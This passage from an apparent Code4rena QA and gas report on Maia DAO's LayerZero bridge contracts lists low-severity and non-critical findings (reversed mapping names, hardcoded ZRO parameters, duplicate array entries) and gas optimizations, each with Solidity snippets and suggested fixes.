153:      * @param _dstChainId Chain Id of the branch chain where the new Bridge Agent will be deployed.

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreRootRouter.sol#L183

Correct below comment to "@param _dstChainId Chain Id of the branch chain for the bridge agent to be removed"

File: src/CoreRootRouter.sol
183:      * @param _dstChainId Chain Id of the branch chain where the new Bridge Agent will be deployed.

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchPort.sol#L177

Correct "startegy" to "strategy"

File: BranchPort.sol
178:  // Withdraw tokens from startegy 

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L86C1-L87C76

Correct "deposits hash" to "deposits nonce"

File: src/BranchBridgeAgent.sol
86:     /// @notice Mapping from Pending deposits hash to Deposit Struct.
87:     mapping(uint256 depositNonce => Deposit depositInfo) public getDeposit;

[N-05] No need to limit settlementNonce input to uint32

There are 2 instances of this issue:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L135C1-L137C6

Mapping getSettlement supports type(uint256).max - 1 number of nonces while in the function getSettlementEntry below we limit _settlementNonce input only till type(uint32).max - 1. There is no need to limit this input to uint32. Although uint32 in itself is quite large, there does not seem to be a problem making this uint256.

File: RootBridgeAgent.sol
139:     function getSettlementEntry(uint32 _settlementNonce) external view override returns (Settlement memory) {
140:         return getSettlement[_settlementNonce];
141:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BaseBranchRouter.sol#L74

File: BaseBranchRouter.sol
75:     function getDepositEntry(uint32 _depositNonce) external view override returns (Deposit memory) {
76:         return IBridgeAgent(localBridgeAgentAddress).getDepositEntry(_depositNonce);
77:     }

[N-06] Setting deposit.owner = address(0); is not required

There is 1 instance of this issue:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L444

Setting deposit.owner to address(0) is not required on Line 444 since we anyways delete the deposit info for that _depositNonce on Line 456.

File: src/BranchBridgeAgent.sol
444: deposit.owner = address(0);
456: delete getDeposit[_depositNonce];

[L-01] Consider using ERC1155Holder instead of ERC1155Receiver due to OpenZeppelin's latest v5.0 release candidate changes

View OpenZeppelin's v5.0 release candidate changes here

There is 1 instance of this issue:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L9C1-L9C97

File: src/VirtualAccount.sol
9: import {ERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol";

[L-02] Mapping key-value pair names are reversed

Keys are named with value names and Values are named with key names. This can be difficult to read and maintain as keys and values are referenced using their names.

There are 4 instances of this:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L86C1-L101C37

Below in the 4 instances of the mappings, we can see that the key-value pair names are reversed. For example, in mapping getGlobalTokenFromLocal, the first key is named address chainId while the second key is named uint256 localAddress. As we know, chainIds cannot be addresses and localAddress cannot be an uint256.

File: RootPort.sol
091:     /// @notice ChainId -> Local Address -> Global Address
092:     mapping(address chainId => mapping(uint256 localAddress => address globalAddress)) public getGlobalTokenFromLocal;
093: 
094:     /// @notice ChainId -> Global Address -> Local Address
095:     mapping(address chainId => mapping(uint256 globalAddress => address localAddress)) public getLocalTokenFromGlobal;
096: 
097:     /// @notice ChainId -> Underlying Address -> Local Address
098:     mapping(address chainId => mapping(uint256 underlyingAddress => address localAddress)) public
099:         getLocalTokenFromUnderlying;
100: 
101:     /// @notice Mapping from Local Address to Underlying Address.
102:     mapping(address chainId => mapping(uint256 localAddress => address underlyingAddress)) public
103:         getUnderlyingTokenFromLocal;
104: 

Additionally, if we check this getter function in the same contract, we can further prove that the namings are reversed in the original mappings above. (Note: The contracts function as expected since only names are reversed)

File: RootPort.sol
195:     function _getLocalToken(address _localAddress, uint256 _srcChainId, uint256 _dstChainId)
196:         internal
197:         view
198:         returns (address)
199:     {
200:         address globalAddress = getGlobalTokenFromLocal[_localAddress][_srcChainId];
201:         return getLocalTokenFromGlobal[globalAddress][_dstChainId];
202:     }

Solution:

File: RootPort.sol
091:     /// @notice Local Address -> ChainId -> Global Address
092:     mapping(address localAddress => mapping(uint256 chainId => address globalAddress)) public getGlobalTokenFromLocal;
093: 
094:     /// @notice Global Address -> ChainId -> Local Address
095:     mapping(address globalAddress => mapping(uint256 chainId => address localAddress)) public getLocalTokenFromGlobal;
096: 
097:     /// @notice Underlying Address -> ChainId -> Local Address
098:     mapping(address underlyingAddress => mapping(uint256 chainId => address localAddress)) public
099:         getLocalTokenFromUnderlying;
100: 
101:     /// @notice Mapping from Local Address to Underlying Address.
102:     mapping(address localAddress => mapping(uint256 chainId => address underlyingAddress)) public
103:         getUnderlyingTokenFromLocal;
104: 

[L-03] Do not hardcode _zroPaymentAddress field to address(0) to allow future ZRO fee payments and prevent Bridge Agents from falling apart incase LayerZero makes breaking changes

Hardcoding the _zroPaymentAddress field to address(0) disallows the protocol from using ZRO token as a fee payment option in the future (ZRO might be launching in the coming year). Consider passing the _zroPaymentAddress field as an input parameter to allow flexibility of future fee payments using ZRO tokens.

We can also see point 5 in this integration checklist provided by the LayerZero team to ensure maximum flexibility in fee payment options is achieved. Here is the point:

Do not hardcode address zero (address(0)) as zroPaymentAddress when estimating fees and sending messages. Pass it as a parameter instead.

Check out this recent discussion between the 10xKelly and I on hardcoding _zroPaymentAddress (Note: In our case, the contracts that would be difficult to handle changes or updates are the BridgeAgent contracts): Check out this transcript in case image fails to render - https://tickettool.xyz/direct?url=https://cdn.discordapp.com/attachments/1155911737397223496/1155911741725757531/transcript-tx-mrpotatomagic.html

There are 2 instances of this issue:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L828

This is even more important in our contracts since function _performCall() is the exit point for most cross-chain calls being made from the RootBridgeAgent.sol. Thus, if any updates are made from the LayerZero team, there are chances of the protocol core functionality breaking down.

File: src/RootBridgeAgent.sol
823:             ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}(
824:                 _dstChainId,
825:                 getBranchBridgeAgentPath[_dstChainId],
826:                 _payload,
827:                 _refundee,
828:                 address(0),
829:                 abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, callee)
830:             );

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L775

Check Line 778:

File: BranchBridgeAgent.sol
768:     function _performCall(address payable _refundee, bytes memory _payload, GasParams calldata _gParams)
769:         internal
770:         virtual
771:     {
772:         //Sends message to LayerZero messaging layer
773:         ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}(
774:             rootChainId,
775:             rootBridgeAgentPath,
776:             _payload,
777:             payable(_refundee),
778:             address(0),//@audit Integration issue - Do not hardcode address 0 as it may cause future upgrades difficulty
779:             abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, rootBridgeAgentAddress)
780:         );
781:     }

[L-04] Do not hardcode _payInZRO field to false to allow future ZRO fee payment estimation for payloads

Hardcoding the _payInZRO field disallows the protocol from estimating fees when using ZRO tokens as a fee payment option (ZRO might be launching in the coming year). Consider passing the _payInZRO field as an input parameter to allow flexibility of future fee payments using ZRO. (Note: Although in the docs here ,they've mentioned to set _payInZRO to false, it is only temporarily to avoid incorrect fee estimations. Providing _payInZRO as an input parameter does not affect this since bool value by default is false)

We can also see point 6 in this integration checklist provided by the LayerZero team to ensure maximum flexibility in fee payment options is achieved. Here is the point (useZro is now changed to _payInZRO):

Do not hardcode useZro to false when estimating fees and sending messages. Pass it as a parameter instead.

There are 2 instances of this issue:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L150

Check Line 154 below:

File: RootBridgeAgent.sol
144:     function getFeeEstimate(
145:         uint256 _gasLimit,
146:         uint256 _remoteBranchExecutionGas,
147:         bytes calldata _payload,
148:         uint16 _dstChainId
149:     ) external view returns (uint256 _fee) {
150:         (_fee,) = ILayerZeroEndpoint(lzEndpointAddress).estimateFees(
151:             _dstChainId,
152:             address(this),
153:             _payload,
154:             false, //@audit Low - Do not hardcode this to false, instead pass it as parameter to allow future payments using ZRO
155:             abi.encodePacked(uint16(2), _gasLimit, _remoteBranchExecutionGas, getBranchBridgeAgent[_dstChainId])
156:         );
157:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L161C1-L173C6

Check Line 172 below:

File: BranchBridgeAgent.sol
162:     /// @inheritdoc IBranchBridgeAgent
163:     function getFeeEstimate(uint256 _gasLimit, uint256 _remoteBranchExecutionGas, bytes calldata _payload)
164:         external
165:         view
166:         returns (uint256 _fee)
167:     {
168:         (_fee,) = ILayerZeroEndpoint(lzEndpointAddress).estimateFees(
169:             rootChainId,
170:             address(this),
171:             _payload,
172:             false,//@audit Low - do not set this to false 
173:             abi.encodePacked(uint16(2), _gasLimit, _remoteBranchExecutionGas, rootBridgeAgentAddress)
174:         );
175:     }

[L-05] Leave some degree of configurability for extra parameters in _adapterParams to allow for feature extensions

As recommended by LayerZero here on the last line of Message Adapter Parameters para, the team should leave some degree of configurability when packing various variables into _adapterParams. This can allow the Maia team to support feature extensions that might be provided by the LayerZero team in the future.

There are 2 instances of this:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L829C1-L829C106

Below Line 829 represents the _adapterParams. Leaving an extra bytes calldata param field when packing the variables using abi.encodePacked can help support any feature extensions by LayerZero in the future.

File: src/RootBridgeAgent.sol
823:             ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}(
824:                 _dstChainId,
825:                 getBranchBridgeAgentPath[_dstChainId],
826:                 _payload,
827:                 _refundee,
828:                 address(0),
829:                 abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, callee)
830:             );

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L776

Check Line 779:

File: BranchBridgeAgent.sol
773:         ILayerZeroEndpoint(lzEndpointAddress).send{value: msg.value}(
774:             rootChainId,
775:             rootBridgeAgentPath,
776:             _payload,
777:             payable(_refundee),
778:             address(0),
779:             abi.encodePacked(uint16(2), _gParams.gasLimit, _gParams.remoteBranchExecutionGas, rootBridgeAgentAddress)
780:         );
781:     }

[L-06] Do not hardcode LayerZero's proprietary chainIds

As stated by LayerZero here:

ChainId values are not related to EVM ids. Since LayerZero will span EVM & non-EVM chains the chainId are proprietary to our Endpoints.

Since the chainIds are proprietary, they are subject to change. As recommended by LayerZero on point 4 here, use admin restricted setters for changing these chainIds.

Additionally, in the current Maia contracts most chainIds have been marked immutable. If LayerZero does change the chainIds, migrating to a new version would be quite cumbersome all because of this trivial chainId problem (if not handled).

There are 2 instances of this issue (Note: Most bridgeAgent and Port contracts have this issue as well but I have not mentioned them here explicitly):

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L40

As we can see below, currently the chainId is immutable. Consider removing immutable to ensure future chainId changes compatibility.

File: src/RootBridgeAgent.sol
40: uint16 public immutable localChainId;

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/CoreRootRouter.sol#L47

As we can see below, currently the chainId is immutable, Consider removing immutable to ensure future chainId changes compatibility.

File: src/CoreRootRouter.sol
46:     /// @notice Root Chain Layer Zero Identifier.
47:     uint256 public immutable rootChainId;

[L-07] Array entry not deleted when removing bridge agent

There is 1 instance of this issue:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchPort.sol#L355

The function toggleBridgeAgent() is only called from _removeBranchBridgeAgent() in the CoreBranchRouter contract. Thus, the function should delete the _bridgeAgent entry from the bridgeAgents array as well to remove stale state.

File: BranchPort.sol
359:     function toggleBridgeAgent(address _bridgeAgent) external override requiresCoreRouter {
360:         isBridgeAgent[_bridgeAgent] = !isBridgeAgent[_bridgeAgent];
361: 
362:         emit BridgeAgentToggled(_bridgeAgent);
363:     }

[L-08] Double entries in strategyTokens, portStrategies, bridgeAgents and bridgeAgentFactories arrays are not prevented

There are 4 instances of this issue:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchPort.sol#L362C1-L380C1

1. Double entry of a strategy token

Let's look at the execution path of how strategy tokens are managed:

Root chain to EP: manageStrategyToken => callOut => _performCall => send

EP to Branch chain: receivePayload => lzReceive => lzReceiveNonBlocking => _execute => executeNoSettlement (Executor) => executeNoSettlement (Router) => _manageStrategyToken => either toggleStrategyToken or addStrategyToken

As we can see in the chain of calls above, when toggling off a strategy token we reach the function toggleStrategyToken(), which toggles of the token as below:

File: BranchPort.sol
380:     function toggleStrategyToken(address _token) external override requiresCoreRouter {
381:         isStrategyToken[_token] = !isStrategyToken[_token];
382: 
383:         emit StrategyTokenToggled(_token);
384:     }

Now when we try to toggle it back on, according to the chain of calls we reach the function addStrategyToken(), which does the following:

• On Line 372, we push the token to strategyTokens again. This is what causes the double entry
• On Line 373, there is a chance of overwriting the _minimumReservesRatio as well.

File: BranchPort.sol
367:     function addStrategyToken(address _token, uint256 _minimumReservesRatio) external override requiresCoreRouter {
368:         if (_minimumReservesRatio >= DIVISIONER || _minimumReservesRatio < MIN_RESERVE_RATIO) {
369:             revert InvalidMinimumReservesRatio();
370:         }
371: 
372:         strategyTokens.push(_token);
373:         getMinimumTokenReserveRatio[_token] = _minimumReservesRatio;
374:         isStrategyToken[_token] = true;
375: 
376:         emit StrategyTokenAdded(_token, _minimumReservesRatio);
377:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchPort.sol#L382C1-L401C1

2. Double entry of a Port Strategy

Let's look at the execution path of how Port Strategies are managed:

Root chain to EP: managePortStrategy() => callOut => _performCall => send

EP to Branch chain: receivePayload => lzReceive => lzReceiveNonBlocking => _execute => executeNoSettlement (Executor) => executeNoSettlement (Router) => _managePortStrategy => either addPortStrategy or togglePortStrategy (excluding updatePortStrategy since not important here)

As we can see in the chain of calls above, when toggling off a port strategy we reach the function togglePortStrategy(), which toggles of the strategy as below:

File: BranchPort.sol
402:     function togglePortStrategy(address _portStrategy, address _token) external override requiresCoreRouter {
403:         isPortStrategy[_portStrategy][_token] = !isPortStrategy[_portStrategy][_token];
404: 
405:         emit PortStrategyToggled(_portStrategy, _token);
406:     }

Now when we try to toggle it back on, according to the chain of calls we reach the function addPortStrategy(), which does the following:

• On Line 394, we push the token to portStrategies again. This is what causes the double entry
• On Line 395, there is a chance of overwriting the _dailyManagementLimit as well.

File: BranchPort.sol
388:     function addPortStrategy(address _portStrategy, address _token, uint256 _dailyManagementLimit)
389:         external
390:         override
391:         requiresCoreRouter
392:     {
393:         if (!isStrategyToken[_token]) revert UnrecognizedStrategyToken();
394:         portStrategies.push(_portStrategy);
395:         strategyDailyLimitAmount[_portStrategy][_token] = _dailyManagementLimit;
396:         isPortStrategy[_portStrategy][_token] = true;
397: 
398:         emit PortStrategyAdded(_portStrategy, _token, _dailyManagementLimit);
399:     }

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchPort.sol#L414C1-L424C6

3. Double entry of a Core Branch Bridge Agent

Let's look at the execution path of how a Core Branch Router is set:

Root chain to EP: setCoreBranch() => callOut => _performCall => send

EP to Branch chain: receivePayload => lzReceive => lzReceiveNonBlocking => _execute => executeNoSettlement (Executor) => executeNoSettlement (Router) => setCoreBranchRouter (Port)

As we can see in the chain of calls above, when set a Core Branch Router we reach the function setCoreBranchRouter(), which does the following:

• On Line 425 and 427 respectively, we set the coreBranchRouterAddress to the same address again and push the already existing coreBranchBridgeAgent to the bridgeAgents array again. This is what causes the double entry.

File: BranchPort.sol
420:     function setCoreBranchRouter(address _coreBranchRouter, address _coreBranchBridgeAgent)
421:         external
422:         override
423:         requiresCoreRouter
424:     {   //@audit Low - If caller sets coreBranchRouterAddress to the same address again, this can cause a double entry in the bridgeAgents array. To prevent this ensure that the coreBranchRouterAddress cannot be set to the existing address. Although admin error, this check can help prevent double entries 
425:         coreBranchRouterAddress = _coreBranchRouter;
426:         isBridgeAgent[_coreBranchBridgeAgent] = true;
427:         bridgeAgents.push(_coreBranchBridgeAgent);
428: 
429:         emit CoreBranchSet(_coreBranchRouter, _coreBranchBridgeAgent);
430:     }

Mitigation for above (check added on Line 425 to prevent resetting to the same router address again):

File: BranchPort.sol
420:     function setCoreBranchRouter(address _coreBranchRouter, address _coreBranchBridgeAgent)
421:         external
422:         override
423:         requiresCoreRouter
424:     {   
425:         if (coreBranchRouterAddress == _coreBranchRouter) revert SomeError(); 
426:         coreBranchRouterAddress = _coreBranchRouter;
427:         isBridgeAgent[_coreBranchBridgeAgent] = true;
428:         bridgeAgents.push(_coreBranchBridgeAgent);
429: 
430:         emit CoreBranchSet(_coreBranchRouter, _coreBranchBridgeAgent);
431:     }

4. Double entry of a Bridge Agent Factory

Let's look at the execution path of how Bridge Agent Factories are managed:

Root chain to EP: toggleBranchBridgeAgentFactory() => callOut => _performCall => send

EP to Branch chain: receivePayload => lzReceive => lzReceiveNonBlocking => _execute => executeNoSettlement (Executor) => executeNoSettlement (Router) => _toggleBranchBridgeAgentFactory => either toggleBridgeAgentFactory or addBridgeAgentFactory

As we can see in the chain of calls above, when toggling off a branch bridge agent factory we reach the function toggleBridgeAgentFactory(), which toggles of the bridge agent factory as below:

File: BranchPort.sol
348:     function toggleBridgeAgentFactory(address _newBridgeAgentFactory) external override requiresCoreRouter {
349:         isBridgeAgentFactory[_newBridgeAgentFactory] = !isBridgeAgentFactory[_newBridgeAgentFactory];
350: 
351:         emit BridgeAgentFactoryToggled(_newBridgeAgentFactory);
352:     }

Now when we try to toggle it back on, according to the chain of calls we reach the function addBridgeAgentFactory(), which does the following:

• On Line 342, we push the token to bridgeAgentFactories array again. This is what causes the double entry

File: BranchPort.sol
338:     function addBridgeAgentFactory(address _newBridgeAgentFactory) external override requiresCoreRouter {
339:         if (isBridgeAgentFactory[_newBridgeAgentFactory]) revert AlreadyAddedBridgeAgentFactory();
340: 
341:         isBridgeAgentFactory[_newBridgeAgentFactory] = true;
342:         bridgeAgentFactories.push(_newBridgeAgentFactory);
343: 
344:         emit BridgeAgentFactoryAdded(_newBridgeAgentFactory);
345:     }

Gas Optimizations Report

Total issues: 9 instances across 8 issues

Total deployment cost saved: 41308 gas

Total function execution cost saved (per call): 21045 gas

Total gas saved: 62353 gas

(Note: Finding [G-05] in this report costs alot of deployment gas, thus it is at the discretion of the sponsor whether to include or ignore the finding)

Total deployment cost saved (excluding [G-05]): 52522 gas saved

Total function execution cost saved (excluding [G-05]): 21030 gas saved

Total gas saved (excluding [G-05]): 73552 gas

[G-01] <x> += <y> costs more gas than <x> = <x> + <y> for state variables

Total gas saved: 43875 gas

There is 1 instance of this:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/token/ERC20hTokenRoot.sol#L58

Deployment cost: 945566 - 901647 = 43919 gas saved

Function execution cost: 3489 - 3533 = -44 gas extra

File: src/token/ERC20hTokenRoot.sol
58:  getTokenBalance[chainId] += amount;

[G-02] Keep variable declaration outside for loop to avoid creating new instances on each iteration

Total gas saved: 2200 gas

There are 2 instances of this issue:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L71

Deployment cost: 766914 - 764914 = 2000 gas saved

File: src/VirtualAccount.sol
70: for (uint256 i = 0; i < length;) {
71:     bool success;

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L99

Deployment cost: 766914 - 766714 = 200 gas saved

File: src/VirtualAccount.sol
99: bool success;

[G-03] Cache _amount - _deposit to save gas

Total gas saved: -308 gas

There are 1 instance of this:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L284C1-L286C70

Deployment cost: 3337070 - 3337470 = -400 gas extra (including this if team is fine with bearing this little cost during deployment to optimize the code below)

Function execution cost: 38536 - 38444 = 92 gas saved (only 4 runs to offset deployment cost)

Instead of this:

File: src/RootPort.sol
284:         if (_amount - _deposit > 0) {
285:             unchecked {
286:                 _hToken.safeTransfer(_recipient, _amount - _deposit);
287:             }
288:         }

Use this:

File: src/RootPort.sol
283:         uint256 temp = _amount - _deposit;
284:         if (temp > 0) {
285:             unchecked {
286:                 _hToken.safeTransfer(_recipient, temp);
287:             }
288:         }

[G-04] dParams.amount > 0 check is not required

Total gas saved: 2240 gas

There is 1 instance of this:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L357C1-L374C10

Deployment cost: 5472059 - 5469850 = 2209 gas saved

Function execution cost: 4227 - 4196 = 31 gas saved (per call)

In the code snippet below, the check on Line 357 dParams.amount < dParams.deposit ensures amount is greater than deposit and the check on Line 370 dParams.deposit > 0 ensures deposit is greater than 0. Thus, the check on Line 363 _dParams.amount > 0 can be removed since deposit is always greater than 0 and amount is always greater than deposit.

Instead of this:

File: src/RootBridgeAgent.sol
357:         if (_dParams.amount < _dParams.deposit) revert InvalidInputParams();
358: 
359:         // Cache local port address
360:         address _localPortAddress = localPortAddress;
361: 
362:         // Check local exists.
363:         if (_dParams.amount > 0) {
364:             if (!IPort(_localPortAddress).isLocalToken(_dParams.hToken, _srcChainId)) {
365:                 revert InvalidInputParams();
366:             }
367:         }
368: 
369:         // Check underlying exists.
370:         if (_dParams.deposit > 0) {
371:             if (IPort(_localPortAddress).getLocalTokenFromUnderlying(_dParams.token, _srcChainId) != _dParams.hToken) {
372:                 revert InvalidInputParams();
373:             }
374:         }

Use this:

File: src/RootBridgeAgent.sol
357:         if (_dParams.amount < _dParams.deposit) revert InvalidInputParams();
358: 
359:         // Cache local port address
360:         address _localPortAddress = localPortAddress;
361: 
362:         // Check local exists.
363:         
364:         if (!IPort(_localPortAddress).isLocalToken(_dParams.hToken, _srcChainId)) {
365:             revert InvalidInputParams();
366:         }
367:         
368: 
369:         // Check underlying exists.
370:         if (_dParams.deposit > 0) {
371:             if (IPort(_localPortAddress).getLocalTokenFromUnderlying(_dParams.token, _srcChainId) != _dParams.hToken) {
372:                 revert InvalidInputParams();
373:             }
374:         }

[G-05] Use do-while loop instead of for-loop to save gas on executeSigned() function execution

Total gas saved: -11199 gas

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/MulticallRootRouter.sol#L557C8-L563C10

Deployment cost: 1790955 - 1802169 = -11214 gas extra (including this if team is fine with bearing this little cost during deployment to optimize the code below)

Function execution cost: 304498 - 304483 = 15 gas saved (approx 747 calls required to offset deployment cost) Instead of this:

File: src/MulticallRootRouter.sol
557:         for (uint256 i = 0; i < outputTokens.length;) {
558:             // Approve Root Port to spend output hTokens.
559:             outputTokens[i].safeApprove(_bridgeAgentAddress, amountsOut[i]);
560:             unchecked {
561:                 ++i;
562:             }
563:         }

Use this:

File: src/MulticallRootRouter.sol
566:         uint256 i;
567:         do {
568:             outputTokens[i].safeApprove(_bridgeAgentAddress, amountsOut[i]);
569:             unchecked {
570:                 ++i;
571:             }
572:         } while (i < outputTokens.length);

[G-06] Use ++i instead of i++ in unchecked block of for loop

Note: This instance is not included in the [G-10] bot finding and saves more gas per call than what is mentioned in the bot finding.

Total gas saved: 20722 gas

There is 1 instance of this:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchPort.sol#L309

Function execution cost: 97465 - 76743 = 20722 gas saved (per call)

File: src/BranchPort.sol
308:          unchecked {
309:              i++;
310:          }

[G-07] Zeroing out owner deposit.owner = address(0); not required

Total gas saved: 3118 gas

There is 1 instance of this:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L444

Deployment cost: 3993024 - 3990027 = 2997 gas saved

Function execution cost: 26245 - 26124 = 121 gas saved per call (For higher gas prices, more gas is saved per call)

Line 444 below is not required since in the same function on Line 456, we delete the deposit token info at _depositNonce, which by default deletes deposit.owner

File: src/BranchBridgeAgent.sol
444: deposit.owner = address(0);
456: delete getDeposit[_depositNonce];

[G-08] Cache out deposit.owner from if conditions to save gas

Total gas saved: 1705 gas

There is 1 instance of this:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L440C1-L442C1

Deployment cost: 3993024 - 3991427 = 1597 gas saved

Function execution cost: 26245 - 26137 = 108 gas saved per call (For higher gas prices, more gas is saved per call)

Instead of this:

File: src/BranchBridgeAgent.sol
440:       if (deposit.owner == address(0)) revert DepositRedeemUnavailable();
441:       if (deposit.owner != msg.sender) revert NotDepositOwner();

Use this:

File: src/BranchBridgeAgent.sol
439:       address depositOwner = deposit.owner;
440:       if (depositOwner == address(0)) revert DepositRedeemUnavailable();
441:       if (depositOwner != msg.sender) revert NotDepositOwner();